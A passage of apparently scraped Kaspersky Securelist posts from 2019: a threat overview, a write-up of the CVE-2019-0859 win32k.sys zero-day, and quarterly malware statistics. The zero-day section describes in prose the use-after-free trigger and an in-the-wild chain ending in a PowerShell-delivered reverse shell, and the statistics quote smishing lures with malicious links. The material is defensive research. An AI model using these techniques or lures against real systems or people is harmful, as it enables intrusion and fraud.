downloaders for the InstallCapital and MegaDowl [file partner programs](<https://securelist.com/file-partner-programs/87136/>) (which Kaspersky Lab classifies as adware). These usually find their way on to people's computers through file sharing sites. Besides downloading the required content, their goal is to install additional software while carefully hiding the option to cancel.\n\nThe other two files are auto-clickers written in Visual Basic that are required to prevent the user from canceling the installation of additional software (in which case the cybercriminals would go away empty-handed). The auto-clickers are run before the installers: when the installer windows are detected, they check the boxes and click the buttons needed to give the user's consent to install the unnecessary software.\n\nPirate Matryoshka results in the victim being flooded with unwanted programs. The owners of file partner programs often do not track the programs offered in their downloaders: our research shows that one in five files offered by partner installers is malicious, including [pBot](<https://securelist.com/pbot-evolving-adware/86242/>), [Razy](<https://securelist.com/razy-in-search-of-cryptocurrency/89485/>) and others.\n\n### Mirai now used to target enterprise devices\n\nResearchers from Palo Alto Networks' Unit 42 recently reported a [new variant of Mirai, the infamous IoT botnet](<https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/>). This malware is best known for its use in a [massive DDoS attack on the servers of DNS provider Dyn](<https://www.kaspersky.com/blog/attack-on-dyn-explained/13325/>), in 2016. The botnet is now equipped with a much wider range of exploits, which makes it even more dangerous and allows it to spread faster.\n\nMore troubling is the fact that the new strain is targeting not only its usual victims \u2013 routers, IP cameras, and other 'smart' things \u2013 but also enterprise IoT devices. This is no surprise since the Mirai source code was leaked some time ago, allowing any attacker with sufficient programming skills to use it. This explains why this botnet features highly in our report, '[DDoS attacks in Q4 2018](<https://securelist.com/ddos-attacks-in-q4-2018/89565/>)'; and the fact that, in our report, '[New trends in the world of IoT threats](<https://securelist.com/new-trends-in-the-world-of-iot-threats/87991/>)', Mirai is responsible for 21% of all IoT infections.\n\nIt is possible that future waves of Mirai infections might even include industrial IoT devices.\n\nTo reduce the risk of Mirai infection, we recommend that you install patches and firmware updates as soon as they become available, monitor traffic coming from each device for abnormalities, change default passwords and enforce an effective password policy for staff and re-boot any device that is behaving strangely (this will remove the malware from the device, but will not, on its own, prevent re-infection. To help companies protect themselves against the latest IoT-related threats we have released a [new intelligence data feed for IoT-related threats](<https://www.kaspersky.com/iot-threat-data-feed?redef=1&reseller=gl_bankdaily_acq_ona_smm__onl_b2b_kasperskydaily_banner_______>).\n\n### 'Collection #1' and other data leaks\n\nOn January 17, security researcher Troy Hunt reported a [leak of more than 773 million email addresses and 21 million unique passwords](<https://www.troyhunt.com/the-773-million-record-collection-1-data-reach/>). The data, dubbed 'Collection #1', was originally shared on the popular cloud service MEGA. Collection #1 is just a small part of a bigger leak of about 1TB of data, split into seven parts and distributed through a data-trading forum. The full package is a collection of credentials leaked from different sources during the past few years, the most recent being from 2017, so we were unable to identify any more recent data in this 'new' leak. The [new data dump](<https://threatpost.com/collection-1-data-dump-hacker-identified/141447/>), dubbed 'Collection #2-5', was discovered by researchers at the Hasso Plattner Institute in Potsdam.\n\nIn February, further data dumps occurred. Details of [617 million accounts, stolen from 16 hacked companies, were put up for sale on Dream Market](<https://www.theregister.co.uk/2019/02/11/620_million_hacked_accounts_dark_web/>), accessible via the Tor network. The hacked companies include Dubsmash, MyFitnessPal, Armor Games and CoffeeMeetsBagel. Subsequently, [data from a further eight hacked companies was posted to the same market place](<https://www.zdnet.com/article/127-million-user-records-from-8-companies-put-up-for-sale-on-the-dark-web/>). Then in March, the [hacker behind the earlier data dumps posted stolen data from a further six companies](<https://threatpost.com/fourth-credential-spill-dreammarket/142901/>).\n\nOne of the particularly worrying aspects of these leaks is the fact that not all of the companies affected had previously reported the data breaches.\n\nThe impact on a company affected by a data breach goes beyond the loss of data. It includes the costs of investigating the breach, closing any security loopholes and maintaining business continuity. On top of that, a company's reputation can be affected, especially if it becomes clear that the company failed to take adequate steps to secure the personal data of its customers.\n\nThe impact on customers can also be dramatic, especially if they use the same login credentials to access other online services. You can find our advice on how to mitigate the impact of a data breach [here](<https://www.kaspersky.com/blog/collection-numba-one/25403/>).\n\n### Social engineering\n\nIn our [threat predictions for 2019](<https://securelist.com/kaspersky-security-bulletin-threat-predictions-for-2019/88878/>), we described social engineering as the most successful infection vector ever and indicated why we thought it would remain so. The key to its success lies in sparking the curiosity of potential victims. Massive data leaks, such as the ones discussed above, help attackers to fine-tune their approach, making it more successful. Phishers will latch on to any topic that they think will pique the interest of their victims. We saw this recently in a [campaign that hooked into events in Venezuela](<https://securelist.com/dns-manipulation-in-venezuela/89592/>).\n\nOn February 10, [Juan Guaido](<https://en.wikipedia.org/wiki/Juan_Guaid%C3%B3>) made a public call for volunteers to join a new movement called 'Voluntarios por Venezuela' (Volunteers for Venezuela), to help international organizations deliver humanitarian aid to the country. The original website asks volunteers to provide their full name, personal ID, cell phone number, and whether they have a medical degree, a car, or a smartphone, and also their location. The volunteers sign up and then receive instructions on how to help.\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22185008/it-threat-evolution-q1-2019-6.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22185008/it-threat-evolution-q1-2019-6.png>)\n\nJust a few days after the legitimate site appeared, an almost identical website appeared. Both the legitimate and fake sites used SSL from Let's Encrypt. The scariest aspect was that these two different domains, with different owners, were resolved within Venezuela to the same IP address, belonging to the fake domain owner. So it didn't matter if a volunteer opened the legitimate domain name or the fake one \u2013 in the end their personal information was injected into a fake site.\n\nIn this scenario, where DNS servers are being manipulated, we would strongly recommend using public DNS servers such as Google DNS servers (8.8.8.8 and 8.8.4.4) or CloudFlare and APNIC DNS servers (1.1.1.1 and 1.0.0.1). We also recommend using VPN connections without a third-party DNS.\n\n### LockerGoga ransomware attacks\n\nRansomware continues to be a problem for consumers and businesses alike, notwithstanding a relative decline in numbers in the last two years. In 2018, we blocked 765,538 crypto-ransomware attacks on computers protected by Kaspersky Lab products, of which around 220,000 included corporate customers.\n\nThe most recent to hit the headlines is [LockerGoga](<https://threatpost.com/lockergoga-ransomware-norsk-hydro-wiper/143181/>), which recently compromised the systems of Altran, [Norsk Hydro](<https://www.kaspersky.com/blog/hydro-attacked-by-ransomware/26028/>) and other companies. It's unclear who's behind the attacks, what they want and the mechanism used to first infect its victims. It's not even clear if LockerGoga is ransomware or a wiper. The malware encrypts data and displays a ransom note asking victims to get in touch to arrange decryption, in return for an (unspecified) payment in bitcoins.\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22185027/it-threat-evolution-q1-2019-7.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22185027/it-threat-evolution-q1-2019-7.png>)\n\nHowever, later versions were observed by researchers that forcibly log victims off infected systems by changing their passwords, and removing their ability to even log back in to the system. In such cases, the victims may not even get to see the ransom note.\n\n### 19-year-old bug in WinRAR\n\nRecently, researchers from Check Point discovered a long-standing vulnerability in the popular WinRAR utility \u2013 used by around 500 million people worldwide. This path traversal zero-day vulnerability (CVE-2018-20250) enables attackers to specify arbitrary destinations during file extraction of 'ACE'-formatted files, regardless of user input.\n\nThis vulnerability has been fixed in [the latest version of WinRAR](<https://www.win-rar.com/download.html?&L=0>) (5.70), but since WinRAR itself does not contain an auto-update feature, it's probable that many existing users will continue to run out-of-date versions.\n\n### The internet of secure, and not so secure, things\n\nThe use of smart devices is increasing. Some [forecasts](<https://www.statista.com/statistics/764026/number-of-iot-devices-in-use-worldwide/>) suggest that by 2020 the number of smart devices will exceed the world's population several times over. These include household objects such as TVs, smart meters, thermostats, baby monitors and children's toys, as well as cars, medical devices, CCTV cameras and parking meters. This offers a broad attack surface for anyone looking to take advantage of security weaknesses \u2013 for whatever purpose. Sadly, all too often we see reports of vulnerabilities in smart devices that could leave both consumers and organizations open to attack.\n\nIn February, at MWC19, researchers from our [ICS CERT](<https://ics-cert.kaspersky.com/>) presented a [report on the security of artificial limbs](<https://www.kaspersky.com/blog/securing-prosthetic-arm/25736/>) developed by Motorica. They looked at three aspects: firmware, the handling of data and the security of data in the cloud.\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22185045/it-threat-evolution-q1-2019-8.jpg)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22185045/it-threat-evolution-q1-2019-8.jpg>)\n\nOn the plus side, they found no vulnerabilities in the firmware of the prosthetic limbs themselves, or in the handling of data \u2013 since data flows one way only, from the limb to the cloud, it's not possible to hack the device and take control of it remotely. However, they did find flaws in the development of the cloud infrastructure that could allow an attacker to gain access to data from the smart limb.\n\nWerner Schober, a researcher at SEC Consult took [an intimate look at the security of a sex toy](<https://www.kaspersky.com/blog/35c3-insecure-sex-toy/25357/>). The device, designed to connect to an Android or iOS smartphone using Bluetooth, is controlled through a special app, either locally or remotely. On top of this, the app features a fully-fledged social network with group chats, photo galleries, friend-lists and more. The researcher was able to access the data of all users of the device, including usernames, passwords, chats, images and videos. Even worse, he was able to find a way to control the devices of other users. There was no mechanism for updating the firmware. However, he was able to find interfaces on the device that the manufacturer had used for debugging purposes and forgotten to close.\n\nResearchers at Pen Test Partners recently discovered [a flaw that exposes the sensitive data of children wearing GPS tracking watches](<https://threatpost.com/kid-tracking-watches-location-data/141335/>), including their name, parents' details and real-time location information. This was because of a secure privilege escalation vulnerability. The system failed to validate that the user had the appropriate permission to obtain admin control, so that an attacker with access to the watch's credentials could change the permissions at the backend, exposing access to the account information and data stored on the watch.\n\nIt's essential that vendors consider security when products are being designed. However, it's also vital that consumers consider security before buying any connected device. This includes disabling functions that you don't need \u2013 or even asking yourself if you need a connected version of the device at all. It also means looking online for information about any vulnerabilities that may have been reported and checking to see if it's possible to update the firmware on the device. Finally, it's important to change the default password and replace it with a unique, complex password. You can use the [free Kaspersky IoT Scanner](<https://www.kaspersky.com/blog/kaspersky-iot-scanner/18449/>) to check your Wi-Fi network and tell you if the devices connected to it are safe.", "cvss3": {}, "published": "2019-05-23T10:00:14", "type": "securelist", "title": "IT threat evolution Q1 2019", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2018-20250", "CVE-2018-8589", "CVE-2019-0797"], "modified": "2019-05-23T10:00:14", "id": "SECURELIST:D884B3DB9759195488B85FA14E140B4C", "href": "https://securelist.com/it-threat-evolution-q1-2019/90978/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-04-15T11:55:18", "description": "![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/07/09154119/abstraction_2-990x400.jpg)\n\nIn March 2019, our automatic Exploit Prevention (EP) systems detected an attempt to exploit a vulnerability in the Microsoft Windows operating system. Further analysis of this event led to us discovering a zero-day vulnerability in win32k.sys. It was the fifth consecutive exploited Local Privilege Escalation vulnerability in Windows that we have discovered in recent months using our technologies. The previous ones were:\n\n * [Zero-day exploit (CVE-2018-8453) used in targeted attacks](<https://securelist.com/cve-2018-8453-used-in-targeted-attacks/88151/>)\n * [A new exploit for zero-day vulnerability CVE-2018-8589](<https://securelist.com/a-new-exploit-for-zero-day-vulnerability-cve-2018-8589/88845/>)\n * [Zero-day in Windows Kernel Transaction Manager (CVE-2018-8611)](<https://securelist.com/zero-day-in-windows-kernel-transaction-manager-cve-2018-8611/89253/>)\n * [The fourth horseman: CVE-2019-0797 vulnerability](<https://securelist.com/cve-2019-0797-zero-day-vulnerability/89885/>)\n\nOn March 17, 2019 we reported our discovery to Microsoft; the company confirmed the vulnerability and assigned it CVE-2019-0859. Microsoft have [just released a patch](<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0859>), part of its update, crediting Kaspersky Lab researchers **Vasiliy Berdnikov **and **Boris Larin**.\n\n## Technical details\n\nCVE-2019-0859 is a Use-After-Free vulnerability that is presented in the CreateWindowEx function. During execution CreateWindowEx sends the message WM_NCCREATE to the window when it's first created. By using the SetWindowsHookEx function, it is possible to set a custom callback that can handle the WM_NCCREATE message right before calling the window procedure.\n\nIn win32k.sys all windows are presented by the tagWND structure which has an \"fnid\" field also known as Function ID. The field is used to define the class of a window; all windows are divided into classes such as ScrollBar, Menu, Desktop and many others. We [have already written](<https://securelist.com/cve-2018-8453-used-in-targeted-attacks/88151/>) about Function ID related bugs.\n\nDuring the WM_NCCREATE callback, the Function ID of a window is set to 0 and this allowed us to set extra data for the window from inside our hook. More importantly, we were able to change the address for the window procedure that was executed immediately after our hook. The change of window procedure to the menu window procedure leads to the execution of xxxMenuWindowProc and the function initiates Function ID to FNID_MENU because the current message is equal to WM_NCCREATE. But the most important part is that the ability to manipulate extra data prior to setting Function ID to FNID_MENU can force the xxxMenuWindowProc function to stop initialization of the menu and return FALSE. Because of that, sending of the NCCREATE message will be considered a failed operation and CreateWindowEx function will stop execution with a call to FreeWindow. Because our MENU-class window was not actually initialized, it allows us to gain control over the address of the memory block that is freed.\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/04/12151014/190412-ceg-4633-1.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/04/12151014/190412-ceg-4633-1.png>)\n\n**_win32k!xxxFreeWindow+0x1344 on up-to-date Windows 7 SP1 x64_**\n\nThe exploit we found in the wild was targeting 64-bit versions of Windows (from Windows 7 to older builds of Windows 10) and exploited the vulnerability using the well-known HMValidateHandle technique to bypass ASLR.\n\nAfter a successful exploitation, the exploit executed PowerShell with a Base64 encoded command. The main aim of this command was to download a second-stage script from https//pastebin.com. The second stage PowerShell executes the final third stage, which is also a PowerShell script.\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/04/12151031/190412-ceg-4633-2.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/04/12151031/190412-ceg-4633-2.png>)\n\n**_Third stage PowerShell script_**\n\nThe third script is very simple and does the following:\n\n * Unpacks shellcode\n * Allocates executable memory\n * Copies shellcode to allocated memory\n * Calls CreateThread to execute shellcode\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/04/12151049/190412-ceg-4633-3.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/04/12151049/190412-ceg-4633-3.png>)\n\n**_Shellcode from PowerShell script_**\n\nThe main goal of the shellcode is to make a trivial HTTP reverse shell. This helps the attacker gain full control over the victim's system.\n\nKaspersky Lab products detected this exploit proactively through the following technologies:\n\n 1. Behavioral detection engine and Exploit Prevention for endpoint products;\n 2. Advanced Sandboxing and Anti-Malware engine of the Kaspersky Anti Targeted Attack (KATA) platform.\n\nKaspersky Lab verdicts for the artifacts used in this and related attacks are:\n\n * HEUR:Exploit.Win32.Generic\n * HEUR:Trojan.Win32.Generic\n * PDM:Exploit.Win32.Generic", "cvss3": {}, "published": "2019-04-15T10:00:56", "type": "securelist", "title": "New zero-day vulnerability CVE-2019-0859 in win32k.sys", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2018-8453", "CVE-2018-8589", "CVE-2018-8611", "CVE-2019-0797", "CVE-2019-0859"], "modified": "2019-04-15T10:00:56", "id": "SECURELIST:52185495AADEC0E6183185DE5799E6B5", "href": "https://securelist.com/new-win32k-zero-day-cve-2019-0859/90435/", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-05-29T14:29:14", "description": "![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22101624/malware_SL_pic3-990x400.jpg)\n\n_These statistics are based on detection verdicts of Kaspersky Lab products received from users who consented to provide statistical data._\n\n## Quarterly figures\n\nAccording to Kaspersky Security Network,\n\n * Kaspersky Lab solutions blocked 843,096,461 attacks launched from online resources in 203 countries across the globe.\n * 113,640,221 unique URLs were recognized as malicious by Web Anti-Virus components.\n * Attempted infections by malware designed to steal money via online access to bank accounts were logged on the computers of 243,604 users.\n * Ransomware attacks were defeated on the computers of 284,489 unique users.\n * Our File Anti-Virus detected 247,907,593 unique malicious and potentially unwanted objects.\n * Kaspersky Lab products for mobile devices detected: \n * 905,174 malicious installation packages\n * 29,841 installation packages for mobile banking Trojans\n * 27,928 installation packages for mobile ransomware Trojans\n\n## Mobile threats\n\n### Quarterly highlights\n\nQ1 2019 is remembered mainly for mobile financial threats.\n\nFirst, the operators of the Russia-targeting Asacub Trojan made several large-scale distribution attempts, reaching up to 13,000 unique users per day. The attacks used active bots to send malicious links to contacts in already infected smartphones. The mailings contained one of the following messages:\n\n_{Name of victim}, you received a new mms: ____________________________ from {Name of victim's contact}_ \n_{Name of victim}, the mms: smsfn.pro/3ftjR was received from {Name of victim's contact}_ \n_{Name of victim}, photo: smslv.pro/c0Oj0 received from {Name of victim's contact}_ \n_{Name of victim}, you have an mms notification ____________________________ from {Name of victim's contact}_\n\nSecond, the start of the year saw a rise in the number of malicious apps in the Google Play store aimed at stealing credentials from users of Brazilian online banking apps.\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22172941/it-threat-stats-q1-2019-1.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22172941/it-threat-stats-q1-2019-1.png>)\n\nAlthough such malware appeared on the most popular app platform, the number of downloads was extremely low. We are inclined to believe that cybercriminals are having problems luring victims to pages with malicious apps.\n\n### Mobile threat statistics\n\nIn Q1 2019, Kaspersky Lab detected 905,174 malicious installation packages, which is 95,845 packages down on the previous quarter.\n\n_Number of detected malicious installation packages, Q2 2018 \u2013 Q1 2019_[ (download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22171046/mobile-malware-apk.png>)\n\n#### Distribution of detected mobile apps by type\n\n_Distribution of newly detected mobile apps by type, Q4 2018 and Q1 2019_[ (download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22171122/infographic.png>)\n\nAmong all the threats detected in Q1 2019, the lion's share went to potentially unsolicited RiskTool apps with 29.80%, a fall of 19 p.p. against the previous quarter. The most frequently encountered objects came from the RiskTool.AndroidOS.Dnotua (28% of all detected threats of this class), RiskTool.AndroidOS.Agent (27%), and RiskTool.AndroidOS.SMSreg (16%) families.\n\nIn second place were threats in the Trojan-Dropper class (24.93%), whose share increased by 13 p.p. The vast majority of files detected belonged to the Trojan-Dropper.AndroidOS.Wapnor families (93% of all detected threats of this class). Next came the Trojan-Dropper.AndroidOS.Agent (3%) and Trojan-Dropper.AndroidOS.Hqwar (2%) families, and others.\n\nThe share of advertising apps (adware) doubled compared to Q4 2018. The AdWare.AndroidOS.Agent (44.44% of all threats of this class), AdWare.AndroidOS.Ewind (35.93%), and AdWare.AndroidOS.Dnotua (4.73%) families were the biggest contributors.\n\nThe statistics show a significant rise in the number of mobile financial threats in Q1 2019. If in Q4 2018 the share of mobile banking Trojans was 1.85%, in Q1 2019 the figure stood at 3.24% of all detected threats.\n\nThe most frequently created objects belonged to the Trojan-Banker.AndroidOS.Svpeng (20% of all detected mobile bankers), Trojan-Banker.AndroidOS.Asacub (18%), and Trojan-Banker.AndroidOS.Agent (15%) families.\n\n### Top 20 mobile malware programs\n\n_Note that this malware rating does not include potentially dangerous or unwanted programs such as RiskTool and Adware._\n\n| **Verdict ** | **%*** \n---|---|--- \n1 | DangerousObject.Multi.Generic | 54.26 \n2 | Trojan.AndroidOS.Boogr.gsh | 12.72 \n3 | Trojan-Banker.AndroidOS.Asacub.snt | 4.98 \n4 | DangerousObject.AndroidOS.GenericML | 4.35 \n5 | Trojan-Banker.AndroidOS.Asacub.a | 3.49 \n6 | Trojan-Dropper.AndroidOS.Hqwar.bb | 3.36 \n7 | Trojan-Dropper.AndroidOS.Lezok.p | 2.60 \n8 | Trojan-Banker.AndroidOS.Agent.ep | 2.53 \n9 | Trojan.AndroidOS.Dvmap.a | 1.84 \n10 | Trojan-Banker.AndroidOS.Svpeng.q | 1.83 \n11 | Trojan-Banker.AndroidOS.Asacub.cp | 1.78 \n12 | Trojan.AndroidOS.Agent.eb | 1.74 \n13 | Trojan.AndroidOS.Agent.rt | 1.72 \n14 | Trojan-Banker.AndroidOS.Asacub.ce | 1.70 \n15 | Trojan-SMS.AndroidOS.Prizmes.a | 1.66 \n16 | Exploit.AndroidOS.Lotoor.be | 1.59 \n17 | Trojan-Dropper.AndroidOS.Hqwar.gen | 1.57 \n18 | Trojan-Dropper.AndroidOS.Tiny.d | 1.51 \n19 | Trojan-Banker.AndroidOS.Svpeng.ak | 1.49 \n20 | Trojan.AndroidOS.Triada.dl | 1.47 \n \n_* Unique users attacked by the relevant malware as a percentage of all users of Kaspersky Lab's mobile security solutions that were attacked._\n\nAs is customary, first place in the Top 20 for Q1 went to the DangerousObject.Multi.Generic verdict (54.26%), which we use for malware detected using [cloud technologies](<https://www.kaspersky.com/enterprise-security/wiki-section/products/big-data-the-astraea-technology>). Cloud technologies are deployed when the antivirus databases lack data for detecting a piece of malware, but the company's cloud already contains information about the object. This is basically how the latest malicious programs are detected.\n\nIn second place came Trojan.AndroidOS.Boogr.gsh (12.72%). This verdict is assigned to files recognized as malicious by our system [based on machine learning](<https://www.kaspersky.com/enterprise-security/wiki-section/products/machine-learning-in-cybersecurity>).\n\nThird place went to the Trojan-Banker.AndroidOS.Asacub.snt banker (4.98%). In Q1, this family was well represented in our Top 20: four positions out of 20 (3rd, 5th, 11th, 14th).\n\nThe DangerousObject.AndroidOS.GenericML verdict (4.35%), which ranked fourth in Q1, is perhaps the most interesting. It is given to files detected by machine learning. But unlike the Trojan.AndroidOS.Boogr.gsh verdict, which is assigned to malware that is processed and detected inside Kaspersky Lab's infrastructure, the DangerousObject.AndroidOS.GenericML verdict is given to files on the side of users of the company's security solutions before such files go for processing. The latest threat patterns are now detected this way.\n\nSixth and seventeenth places were taken by members of the Hqwar dropper family: Trojan-Dropper.AndroidOS.Hqwar.bb (3.36%) and Trojan-Dropper.AndroidOS.Hqwar.gen (1.57%), respectively. These packers most often contain banking Trojans, including Asacub.\n\nSeventh position belonged to Trojan-Dropper.AndroidOS.Lezok.p (2.60%). The Lezok family is notable for its variety of distribution schemes, among them a supply chain attack, whereby the malware is sewn into the firmware of the mobile device before delivery to the store. This is very dangerous for two reasons:\n\n * It is extremely difficult for an ordinary user to determine whether their device is already infected.\n * Getting rid of such malware is highly complex.\n\nThe Lezok Trojan family is designed primarily to display persistent ads, sign users up for paid SMS subscriptions, and inflate counters for apps on various platforms.\n\nThe last Trojan worthy of a mention on the topic of the Top 20 mobile threats is Trojan-Banker.AndroidOS.Agent.ep. It is encountered both in standalone form and inside Hqwar droppers. The malware has extensive capabilities for countering dynamic analysis, and can detect being launched in the Android Emulator or Genymotion environment. It can open arbitrary web pages to phish for login credentials. It uses Accessibility Services to obtain various rights and interact with other apps.\n\n### Geography of mobile threats\n\n_Map of mobile malware infection attempts, Q1 2019_[ (download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22172806/en-mobile-malware-map.png>)\n\nTop 10 countries by share of users attacked by mobile malware:\n\n| Country* | %** \n---|---|--- \n1 | Pakistan | 37.54 \n2 | Iran | 31.55 \n3 | Bangladesh | 28.38 \n4 | Algeria | 24.03 \n5 | Nigeria | 22.59 \n6 | India | 21.53 \n7 | Tanzania | 20.71 \n8 | Indonesia | 17.16 \n9 | Kenya | 16.27 \n10 | Mexico | 12.01 \n \n_* Excluded from the rating are countries with relatively few users of Kaspersky Lab's mobile antivirus (under 10,000)._ \n_** Unique users attacked in the country as a percentage of all users of Kaspersky Lab's mobile antivirus in the country._\n\nPakistan (37.54%) ranked first, with the largest number of users in this country being attacked by AdWare.AndroidOS.Agent.f, AdWare.AndroidOS.Ewind.h, and AdWare.AndroidOS.HiddenAd.et adware.\n\nSecond place was taken by Iran (31.55%), which appears consistently in the Top 10 every quarter. The most commonly encountered malware in this country was Trojan.AndroidOS.Hiddapp.bn, as well as the potentially unwanted apps RiskTool.AndroidOS.Dnotua.yfe and RiskTool.AndroidOS.FakGram.a. Of these three, the latter is the most noteworthy \u2013 the main task of this app is to intercept Telegram messages. It should be mentioned that Telegram is banned in Iran, so any of its clones are in demand, as confirmed by the infection statistics.\n\nThird place went to Bangladesh (28.38%), where in Q1 the same advertising apps were weaponized as in Pakistan.\n\n### Mobile banking Trojans\n\nIn the reporting period, we detected **29,841** installation packages for mobile banking Trojans, almost 11,000 more than in Q4 2018.\n\nThe greatest contributions came from the creators of the Trojan-Banker.AndroidOS.Svpeng (20% of all detected banking Trojans), the second-place Trojan-Banker.AndroidOS.Asacub (18%), and the third-place Trojan-Banker.AndroidOS.Agent (15%) families.\n\n_Number of installation packages for mobile banking Trojans, Q2 2018 \u2013 Q1 2019_[ (download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22171308/banking-malware-apk.png>)\n\n| Verdict | %* \n---|---|--- \n1 | Trojan-Banker.AndroidOS.Asacub.snt | 23.32 \n2 | Trojan-Banker.AndroidOS.Asacub.a | 16.35 \n3 | Trojan-Banker.AndroidOS.Agent.ep | 11.82 \n4 | Trojan-Banker.AndroidOS.Svpeng.q | 8.57 \n5 | Trojan-Banker.AndroidOS.Asacub.cp | 8.33 \n6 | Trojan-Banker.AndroidOS.Asacub.ce | 7.96 \n7 | Trojan-Banker.AndroidOS.Svpeng.ak | 7.00 \n8 | Trojan-Banker.AndroidOS.Agent.eq | 4.96 \n9 | Trojan-Banker.AndroidOS.Asacub.ar | 2.47 \n10 | Trojan-Banker.AndroidOS.Hqwar.t | 2.10 \n \n_* Unique users attacked by the relevant malware as a percentage of all users of Kaspersky Lab's mobile security solutions that were attacked by banking threats._\n\nThis time, fully half the Top 10 banking threats are members of the Trojan-Banker.AndroidOS.Asacub family: five positions out of ten. The creators of this Trojan actively distributed samples throughout Q1. In particular, the number of users attacked by the Asacub.cp Trojan reached 8,200 per day. But even this high result was surpassed by Asacub.snt with 13,000 users per day at the peak of the campaign.\n\nIt was a similar story with Trojan-Banker.AndroidOS.Agent.ep: We recorded around 3,000 attacked users per day at its peak. However, by the end of the quarter, the average daily number of attacked unique users had dropped below 1,000. Most likely, this was due not to decreased demand for the Trojan, but to cybercriminals' transition to a two-stage system of infection using Hqwar droppers.\n\n_Geography of mobile banking threats, Q1 2019_[ (download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22171335/en-banking-malware-map.png>)\n\n**Top 10 countries by share of users attacked by mobile banking Trojans:**\n\n| Country* | %** \n---|---|--- \n1 | Australia | 0.81 \n2 | Turkey | 0.73 \n3 | Russia | 0.64 \n4 | South Africa | 0.35 \n5 | Ukraine | 0.31 \n6 | Tajikistan | 0.25 \n7 | Armenia | 0.23 \n8 | Kyrgyzstan | 0.17 \n9 | US | 0.16 \n10 | Moldova | 0.16 \n \n_* Excluded from the rating are countries with relatively few users of Kaspersky Lab's mobile antivirus (under 10,000)._ \n_** Unique users attacked by mobile banking Trojans as a percentage of all users of Kaspersky Lab's mobile security solutions in this country._\n\nIn Q1 2019, Australia (0.81%) took first place in our Top 10. The most common infection attempts we registered in this country were by Trojan-Banker.AndroidOS.Agent.eq and Trojan-Banker.AndroidOS.Agent.ep. Both types of malware are not exclusive to Australia, and used for attacks worldwide.\n\nSecond place was taken by Turkey (0.73%), where, as in Australia, Trojan-Banker.AndroidOS.Agent.ep was most often detected.\n\nRussia is in third place (0.64%), where we most frequently detected malware from the Asacub and Svpeng families.\n\n### Mobile ransomware\n\nIn Q1 2019, we detected **27,928** installation packages of mobile ransomware, which is 3,900 more than in the previous quarter.\n\n_Number of mobile ransomware installation packages detected by Kaspersky Lab (Q2 2018 \u2013 Q1 2019)_[ (download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22171455/mobile-ransomware.png>)\n\n| Verdict | %* \n---|---|--- \n1 | Trojan-Ransom.AndroidOS.Svpeng.ah | 28.91 \n2 | Trojan-Ransom.AndroidOS.Rkor.h | 19.42 \n3 | Trojan-Ransom.AndroidOS.Svpeng.aj | 9.46 \n4 | Trojan-Ransom.AndroidOS.Small.as | 8.81 \n5 | Trojan-Ransom.AndroidOS.Rkor.snt | 5.36 \n6 | Trojan-Ransom.AndroidOS.Svpeng.ai | 5.21 \n7 | Trojan-Ransom.AndroidOS.Small.o | 3.24 \n8 | Trojan-Ransom.AndroidOS.Fusob.h | 2.74 \n9 | Trojan-Ransom.AndroidOS.Small.ce | 2.49 \n10 | Trojan-Ransom.AndroidOS.Svpeng.snt | 2.33 \n \n_* Unique users attacked by the relevant malware as a percentage of all users of Kaspersky Lab's mobile security solutions that were attacked by ransomware._\n\nIn Q1 2019, the most common mobile ransomware family was Svpeng with four positions in the Top 10.\n\n_Geography of mobile ransomware, Q1 2019_[ (download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22171523/en-mobile-ransomware-map.png>)\n\nTop 10 countries by share of users attacked by mobile ransomware:\n\n| Country* | %** \n---|---|--- \n1 | US | 1.54 \n2 | Kazakhstan | 0.36 \n3 | Iran | 0.28 \n4 | Pakistan | 0.14 \n5 | Mexico | 0.10 \n6 | Saudi Arabia | 0.10 \n7 | Canada | 0.07 \n8 | Italy | 0.07 \n9 | Indonesia | 0.05 \n10 | Belgium | 0.05 \n \n_* Excluded from the rating are countries with relatively few users of Kaspersky Lab's mobile antivirus (under 10,000)._ \n_** Unique users attacked by mobile ransomware as a percentage of all users of Kaspersky Lab's mobile security solutions in this country._\n\nThe Top 3 countries by number of users attacked by mobile ransomware, as in the previous quarter, were the US (1.54%), Kazakhstan (0.36%), and Iran (0.28%)\n\n## Attacks on Apple macOS\n\nOn the topic of threats to various platforms, such a popular system as macOS cannot be ignored. Although new malware families for this platform are relatively rare, threats do exist for it, largely in the shape of adware.\n\nThe modus operandi of such apps is widely known: infect the victim, take root in the system, and show advertising banners. That said, for each ad displayed and banner clicked the attackers receive a very modest fee, so 